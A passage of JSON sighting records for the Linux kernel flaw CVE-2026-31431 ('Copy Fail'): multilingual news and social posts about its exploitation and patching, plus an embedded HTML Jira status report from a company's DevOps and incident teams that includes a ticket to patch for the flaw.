'26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1570\n                      500 err on cancel report API\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1569\n                      API Timesout - Endless Spinning Wheel Issue\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1562\n                      API times out/ when searching with keywords for location in Pick a Location Popup [smoke/hemet]\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1558\n                      [Houston-1.780] [Mapping] Console Error\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1556\n                      Home Page - Telematics module not displayed on Home Page\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (43d)\n                      \u2014\n                      To Do\n                    \n\nData sourced live from Jira on May 05, 2026 at 06:32 PM.\n\nfunction showTab(key,el){\n  document.querySelectorAll('.tab').forEach(t=>t.classList.remove('active'));\n  el.classList.add('active');\n  document.querySelectorAll('.pane').forEach(p=>p.style.display='none');\n  document.getElementById('pane-'+key).style.display='block';\n}\n\n\n", "creation_timestamp": "2026-05-05T18:32:55.000000Z"}, {"uuid": "85d60892-6c2c-4af0-95cc-0b9ff0c067d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3ml4hyynggu26", "content": "A critical Linux kernel bug, CVE-2026-31431, allows low-level users to gain full control of systems, prompting urgent patching efforts.\n", "creation_timestamp": "2026-05-05T15:13:42.149946Z"}, {"uuid": "6ad8d71a-57e6-48cd-bb2e-3636bc6e3ed7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.info.ve/post/3ml4i2aa4ts2b", "content": "\ud83d\udc27 \u00bfC\u00f3mo funciona ' #CopyFail'? El #exploit de 732 bytes que otorga acceso #Root en #Linux (CVE-2026-31431) (+MITIGACI\u00d3N) www.newstecnicas.info.ve/2026/04/copy...", "creation_timestamp": "2026-05-05T15:14:25.351311Z"}, {"uuid": "46a368ea-3d0b-4a92-a859-9237d6410c0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/webradiomexfm.bsky.social/post/3ml4k475i772v", "content": "Vulnerabilidade CopyFail no Linux amea\u00e7a servidores em todo o mundo\n\nExplora\u00e7\u00e3o ativa da falha CVE-2026-31431 coloca em risco distribui\u00e7\u00f5es Linux desde 2017.\n\nhttps://mexnews.online/l/MGv6SH\n\n#mexfm #mexnews #webradiomexfm #brasil #noticias #musica", "creation_timestamp": "2026-05-05T15:51:15.792139Z"}, {"uuid": "81162c86-5101-40d9-a557-5ee8e8d966e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3ml4ig7eeow24", "content": "Urgent: 'Copy Fail' vulnerability (CVE-2026-31431) affects Linux kernels since 2017, granting root access to unprivileged users. Patch immediately to secure your systems. #Linux #CyberSecurity #CVE202631431 Link: thedailytechfeed.com/copy-fail-fl...", "creation_timestamp": "2026-05-05T15:21:03.807741Z"}, {"uuid": "696aa910-ef4e-4178-be91-11401391d4cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82925", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a afalg-check\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a itsystem\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-05 14:32:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u0423\u0442\u0438\u043b\u0438\u0442\u0430 \u0434\u043b\u044f Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c `AF_ALG`/`algif_aead` \u0438 \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u043e\u0446\u0435\u043d\u0438\u0442\u044c \u0440\u0438\u0441\u043a \u043f\u043e `CVE-2026-31431`.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-05T15:00:05.000000Z"}, {"uuid": "2193dea0-d8ea-462e-a82d-1a1d0710074f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/geeknewsbot.bsky.social/post/3ml4unv2rn62n", "content": "Podman \ub8e8\ud2b8\ub9ac\uc2a4 \ucee8\ud14c\uc774\ub108\uc640 Copy Fail \uc775\uc2a4\ud50c\ub85c\uc787\n\nCVE-2026-31431 Copy Fail\uc740 \ub85c\uceec \ube44\uad8c\ud55c \uc0ac\uc6a9\uc790\uac00 root \uc178\uc744 \uc5bb\uc744 \uc218 \uc788\uac8c \ud558\uba70, Podman \ub8e8\ud2b8\ub9ac\uc2a4 \ucee8\ud14c\uc774\ub108 \uc548\uc5d0\uc11c\ub3c4 \ucee8\ud14c\uc774\ub108 \ub0b4\ubd80 root \uad8c\ud55c \uc0c1\uc2b9\uc774 \uac00\ub2a5\ud568 Podman \ub8e8\ud2b8\ub9ac\uc2a4 \ucee8\ud14c\uc774\ub108\ub294...", "creation_timestamp": "2026-05-05T19:00:06.233636Z"}, {"uuid": "d4936136-edcb-4e48-bab9-251ce169bc1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82955", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a ubuntu-cve-2026-31431-mitigation\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mrmtwoj\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-05 18:50:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u062f\u0633\u062a\u0648\u0631\u0627\u0644\u0639\u0645\u0644\u200c\u0647\u0627\u06cc \u06a9\u0627\u0647\u0634 \u0631\u06cc\u0633\u06a9 \u0648 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0628\u0631\u0627\u06cc CVE-2026-31431 \u062f\u0631 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u0627\u0648\u0628\u0648\u0646\u062a\u0648\u060c \u0634\u0627\u0645\u0644 \u0645\u0631\u0627\u062d\u0644 \u0627\u0631\u062a\u0642\u0627\u0621 \u06a9\u0631\u0646\u0644 \u0648 kmod.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-05T19:00:05.000000Z"}, {"uuid": "a2fb28a9-d49c-451c-b502-e702f45e0b38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/tatzelwurm.eurosky.social/post/3ml4y4tbyg62s", "content": "Den neuen Linux Kernel nicht eingespielt und SSH Zugang geknackt??\n\nCVE-2026-31431, CVSS 7.8", "creation_timestamp": "2026-05-05T20:02:08.214339Z"}, {"uuid": "0002eaf3-220f-4f79-99c0-ae3471a68d2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3ml4zeylbdib2", "content": "CISA warns Linux Copy Fail flaw is being exploited to gain root access CISA has added the Linux kernel vulnerability CVE-2026-31431, known as Copy Fail, to its Known Exploited Vulnerabilities catal...\n\n#News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-05T20:24:38.878444Z"}, {"uuid": "a8329cb5-9d60-4f91-8650-035f064ca820", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ml54nyutz6v2", "content": "Navigating the \u201cCopy Fail\u201d: Understanding and Mitigating CVE-2026-31431 in Linux A significant vulnerability dubbed \u201cCopy Fail,\u201d recorded as CVE-2026-31431, has emerged as a substantial con...\n\n#Current #Events #Linux #Security #AF_ALG #Copy #Fail #copy #fail #exploit #copy\n\nOrigin | Interest | [\u2026]", "creation_timestamp": "2026-05-05T21:23:22.426944Z"}, {"uuid": "40c76ecd-e292-4d6b-8b7b-a67855f606f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/npub1lllllll9xdgqvp5l3drml7kwrre9u5ma6je7ey8r0578dfqq8l8qrjujua.momostr.pink.ap.brid.gy/post/3ml54yysgkmv2", "content": "CVE-2026-31431 has been fun", "creation_timestamp": "2026-05-05T21:29:31.338369Z"}, {"uuid": "849a73c4-c164-4eda-823f-3325b45fc74a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/thehackernews/8920", "content": "\u26a0\ufe0f A new #Linux flaw is now under active exploitation.\n\nCISA added CVE-2026-31431 to its KEV list. The bug lets low-privilege users gain full root access. Patches released.\n\nFix deadline: May 15, 2026.\n\nRead: https://thehackernews.com/2026/05/cisa-adds-actively-exploited-linux-root.html", "creation_timestamp": "2026-05-03T06:48:23.000000Z"}, {"uuid": "8732cace-e770-4ffe-baf7-50d08a487b7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ef-edulog/9a60a90f5fec78acbb843852423e6888", "content": "\n\n\n\n\nJira Report \u2014 DO / IM / S2\n\n  :root {\n    --bg: #fff; --bg2: #f5f4ef; --bg3: #ebebeb;\n    --tx: #1a1a1a; --tx2: #666660; --tx3: #999994;\n    --info: #185FA5; --bdr: rgba(0,0,0,0.12); --bdr2: rgba(0,0,0,0.22);\n    --r: 8px; --rl: 12px;\n    --font: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;\n    --mono: 'SF Mono','Fira Code',monospace;\n  }\n  @media(prefers-color-scheme:dark){\n    :root{--bg:#1e1e1c;--bg2:#2a2a28;--bg3:#333330;--tx:#f0efe8;--tx2:#a8a79f;--tx3:#6e6e68;--info:#85B7EB;--bdr:rgba(255,255,255,0.1);--bdr2:rgba(255,255,255,0.18)}\n  }\n  *{box-sizing:border-box;margin:0;padding:0}\n  body{font-family:var(--font);background:var(--bg);color:var(--tx);padding:24px;max-width:1300px;margin:0 auto}\n  h1{font-size:18px;font-weight:500;margin-bottom:4px}\n  .sub{font-size:12px;color:var(--tx2);margin-bottom:20px}\n  .tabs{display:flex;gap:6px;margin-bottom:1.25rem;flex-wrap:wrap}\n  .tab{padding:5px 13px;border:0.5px solid var(--bdr2);border-radius:var(--r);font-size:13px;cursor:pointer;background:var(--bg);color:var(--tx2)}\n  .tab.active{background:var(--bg2);color:var(--tx);font-weight:500}\n  .tab:hover:not(.active){background:var(--bg2)}\n  .legend{display:flex;gap:14px;flex-wrap:wrap;margin-bottom:1rem;font-size:11px;color:var(--tx2);align-items:center}\n  .li{display:flex;align-items:center;gap:4px}\n  .ld{width:9px;height:9px;border-radius:2px}\n  .summary-grid{display:grid;grid-template-columns:repeat(3,minmax(0,1fr));gap:8px;margin-bottom:1.25rem}\n  .metric{background:var(--bg2);border-radius:var(--r);padding:10px 12px}\n  .ml{font-size:11px;color:var(--tx2);margin-bottom:3px}\n  .mv{font-size:20px;font-weight:500}\n  .project-block{margin-bottom:1.1rem;border:0.5px solid var(--bdr);border-radius:var(--rl);overflow:hidden}\n  .ph{padding:9px 14px;border-bottom:0.5px solid var(--bdr);display:flex;align-items:center;justify-content:space-between}\n  .pn{font-size:13px;font-weight:500}\n  .pm{font-size:11px;color:var(--tx2)}\n  .th{padding:5px 14px;font-size:11px;font-weight:500;color:var(--tx2);background:var(--bg2);display:flex;align-items:center;gap:6px;border-top:0.5px solid var(--bdr)}\n  .tc{background:var(--bg3);color:var(--tx2);padding:1px 6px;border-radius:var(--r);font-size:10px}\n  .cols{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:4px 14px;font-size:10px;color:var(--tx3);background:var(--bg2);border-top:0.5px solid var(--bdr)}\n  .ir{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:6px 14px;align-items:start;border-top:0.5px solid var(--bdr);font-size:11px}\n  .ir.stale{background:rgba(250,238,218,0.3)}\n  .ir.highest{background:rgba(252,235,235,0.35)}\n  .ir.overdue{background:rgba(252,235,235,0.45)}\n  .ir.stale.highest,.ir.stale.overdue{background:rgba(250,220,200,0.45)}\n  @media(prefers-color-scheme:dark){\n    .ir.stale{background:rgba(99,56,6,0.2)}.ir.highest{background:rgba(121,31,31,0.2)}\n    .ir.overdue{background:rgba(121,31,31,0.3)}.ir.stale.highest,.ir.stale.overdue{background:rgba(110,40,6,0.28)}\n  }\n  .ik{color:var(--info);font-size:10px;font-family:var(--mono);white-space:nowrap;text-decoration:none}\n  .ik:hover{text-decoration:underline}\n  .is{color:var(--tx);line-height:1.4;overflow:hidden;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical}\n  .ia{color:var(--tx2);font-size:10px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}\n  .dt{font-size:10px;white-space:nowrap}\n  .upd-ok{color:var(--tx2)}.upd-stale{color:#BA7517;font-weight:500}\n  .due-ok{color:var(--tx2)}.due-over{color:#A32D2D;font-weight:500}\n  .cr{color:var(--tx2)}\n  @media(prefers-color-scheme:dark){.upd-stale{color:#FAC775}.due-over{color:#F7C1C1}}\n  .dot-h{display:inline-block;width:5px;height:5px;border-radius:50%;background:#E24B4A;margin-right:2px;vertical-align:middle}\n  .dot-s{display:inline-block;width:5px;height:5px;border-radius:50%;background:#EF9F27;margin-right:2px;vertical-align:middle}\n  .dot-d{display:inline-block;width:5px;height:5px;border-radius:50%;background:#D85A30;margin-right:2px;vertical-align:middle}\n  .sb{font-size:10px;padding:2px 6px;border-radius:var(--r);text-align:center;white-space:nowrap}\n  .s-ip{background:#FAEEDA;color:#854F0B}.s-td{background:#E1F5EE;color:#0F6E56}\n  .s-oi{background:#FCEBEB;color:#A32D2D}.s-xx{background:var(--bg2);color:var(--tx2)}\n  @media(prefers-color-scheme:dark){\n    .s-ip{background:#633806;color:#FAC775}.s-td{background:#085041;color:#9FE1CB}.s-oi{background:#791F1F;color:#F7C1C1}\n  }\n  .empty{padding:16px;text-align:center;color:var(--tx3);font-size:12px}\n  .footer{font-size:11px;color:var(--tx3);margin-top:24px}\n\n\n\n\nJira Active Issues Report \u2014 DO / IM / S2\n\nGenerated May 05, 2026 at 10:29 PM  \u00b7  Excludes Done, Fixed, Canceled, Deferred  \u00b7  https://karrostech.atlassian.net\n\nLast 24 hrs24\u201348 hrs ago2\u20137 days agoOlder than 7 days\n\n\n  Highest priority\n  Stale \u22655 business days\n  Due date missed\n\n\n\n\n\nDO \u2014 Edulog DevOps\n4\n\nIM \u2014 Incident Management\n5\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                4 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nTask 4\n                    \n\n                      DO-2046\n                      Alamance, NC - Please turn on User Defined Reports\n                      JD Hawk\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2042\n                      Client Cancelation for Kuna Joint School District, ID - May 29 shutdown\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      On hold\n                    \n                    \n\n                      DO-2041\n                      Remove the test server - fr-routing-legacy-test  it is no longer needed.\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2040\n                      Remove queuedNotification lambda function when associated NotificationService changes are deployed\n                      \u2014\n                      May 4, '26\n                      May 4, '26\n                      \u2014\n                      Backlog\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                5 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 4\n                    \n\n                      IM-7574\n                      Gwinnett, GA - Missing Data in Telematics\n                      Josiah Brown\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7573\n                      Brunswick County, NC - APP Issues\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7571\n                      Cleveland, OH - Client Reported Delays in Both Telematics and with Parent Portal Messages this Morning\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7569\n                      Zonar - Delay / Omission of pings to SM, PP\n                      Nick Sundberg\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \nTask 1\n                    \n\n                      IM-7572\n                      Framingham Public Schools, GPS units not reporting in since 11:30 AM today\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n1\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                1 active issue\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nTask 1\n                    \n\n                      DO-2037\n                      Deploy Hafeez's Data Build Tool\n                      Boluwatife Olaifa\n                      May 4, '26\n                      May 4, '26\n                      May 4, '26\n                      Backlog\n                    \n\n\n\nDO \u2014 Edulog DevOps\n9\n\nIM \u2014 Incident Management\n15\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                9 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nBug 2\n                    \n\n                      DO-2034\n                      DP V2 (build 180/AV1): EDP gateway /v4.0/vehicles/search returns 0 vehicles for development-test-school tenant\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2033\n                      DP V2 (build 180/AV1): POST /apilive/setting/event/add returns 500 after login (tenantId='', deviceId=0)\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \nStory 1\n                    \n\n                      DO-2025\n                      Birdville, TX - Please deploy Telematics\n                      Cory Emlen\n                      Apr 29, '26\n                      Apr 30, '26\n                      \u2014\n                      IN PROGRESS\n                    \nTask 6\n                    \n\n                      DO-2032\n                      Need script run on Cobb to remove duplicate locations\n                      Vader\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-2028\n                      All legacy PP ingestions have not run:\n                      Josiah Brown\n                      May 1, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2027\n                      Patch infra with CopyFail (CVE-2026-31431)\n                      Josiah Brown\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2026\n                      Johnston NC Demo Site down\n                      Vader\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-2024\n                      Review all deployments, evaluate setting limits\n                      Josiah Brown\n                      Apr 29, '26\n                      Apr 29, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2023\n                      Testing Release Servers\n                      \u2014\n                      Apr 29, '26\n                      Apr 30, '26\n                      \u2014\n                      Backlog\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                15 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 15\n                    \n\n                      IM-7567\n                      Fayette County, no bus event update since 4/29\n                      \u2014\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7564\n                      Knox, TN - Gps units not reporting in since yesterday\n                      \u2014\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7563\n                       West Shore - Parent Portal not working\n                      Brandon Donnelson\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7561\n                      Denton, TX - Parent Portal App is not tracking buses\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7560\n                      Suffolk, call from parent experiencing tracking issues.\n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7559\n                      New Kent, parent portal not tracking\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7557\n                      New Hanover, Parent portal  tracking issues\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7556\n                      Jefferson, parent portal not tracking \n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7555\n                      Elyria-OH ,Parent Portal App don't track the bus.\n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7554\n                      Peoria, AZ - Parent Portal Down\n                      Brandon Donnelson\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7553\n                      Stanfield, AZ's Parent Portal is not working as of this morning.  Last reading 4:16am.  \n                      \u2014\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Blocker\n                    \n                    \n\n                      IM-7551\n                      SM Can't Send Messages to PP/PPL\n                      Boluwatife Olaifa\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7550\n                      Cleveland, OH - Not able to track buses - GPS tracking down\n                      Kehinde Metibemu\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7548\n                      Cobb County, GA - Severely Degraded Athena Performance\n                      Brandon Donnelson\n                      Apr 29, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7547\n                      Rochambeau, MD - Busses 203/204 have not had movement in Parent Porta Lite since 7:30 PM on 4/27\n                      Josiah Brown\n                      Apr 29, '26\n                      May 4, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n50\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                50 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nATH New site request 1\n                    \n\n                      DO-1787\n                      Elyria, OH - Athena Conversion from Legacy\n                      Cory Emlen\n                      Mar 17, '26\n                      Apr 30, '26\n                      Apr 17, '26\n                      Blocked\n                    \nBug 49\n                    \n\n                      DO-2005\n                      Staging-epic-FR3-eks: Bell Time task creation throws ERROR_LOADING_CONTEXT\n                      Vader\n                      Apr 27, '26\n                      Apr 27, '26 (6d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1905\n                      Parent Portal missing route/vehicle data after EKS 1.34 upgrade \u2014 missed cron sync + Hibernate 6 bug\n                      \u2014\n                      Apr 6, '26\n                      Apr 6, '26 (21d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1855\n                      There is no data available in Route assignment, Live substitution modules of Telematcis for Johnston site\n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (28d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1854\n                      There is no data available in multiple pages like Students, Runs, Routes modules of Routing for Johnston site \n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (28d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1842\n                      EDTA service missing MongoDB JVM args \u2014 broken on 57 production tenants\n                      \u2014\n                      Mar 25, '26\n                      Mar 25, '26 (29d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1801\n                      release-2-fr - Elastic search error displays into log - Unable to search for stop locations\n                      \u2014\n                      Mar 19, '26\n                      Mar 19, '26 (33d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1786\n                      [EastAllen, IN 1.78 Smoke]CA Result CSV \u2013 Export fails for valid dates with 400 Bad Request (invalid page number)\n                      Dane Elwood\n                      Mar 17, '26\n                      Mar 26, '26 (28d)\n                      \u2014\n                      Blocked\n                    \n                    \n\n                      DO-1785\n                      [EastAllen, IN 1.78 Smoke]Vehicles \u2013 Seating Configuration popup shows error \u201cnetwork issues\u201d due to backend API failure\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1784\n                      [Lake Superior 1.78 Smoke]Time & Attendance module not opening from main dashboard\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1783\n                      Config API is failing for Time & Attendance module in Collinsville site \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1782\n                      Several API calls are failed in ultilities --> Employee Import and Queue Priority modules \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1779\n                      [Cleveland -1.78] [Time & attendance][Absence Record] Data preview is not available\n                      Josiah Brown\n                      Mar 16, '26\n                      Mar 16, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1776\n                      Routes API CORS Blocked & Gateway Timeout on Routes Management Page\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 15, '26 (37d)\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-1775\n                      [Chicago-1.78] [Telematics --> Edulog standard reports] - Unable to select date range for AM on time report\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 13, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1768\n                      [moorhead 1.78.0] [Telematics] [Vehicle Plan Error] Front end error for Vehicle on Route Historical view\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 16, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1767\n                      500 Internal Server Error on Athena Routing Screen \u2013 eligibilities API\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (31d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1766\n                      [Helena] API call fails on clicking \"Add New\" Student \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (31d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1765\n                      Deleting a student without entering any data in Add student form is giving 405 error \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 27, '26 (27d)\n                      \u2014\n                      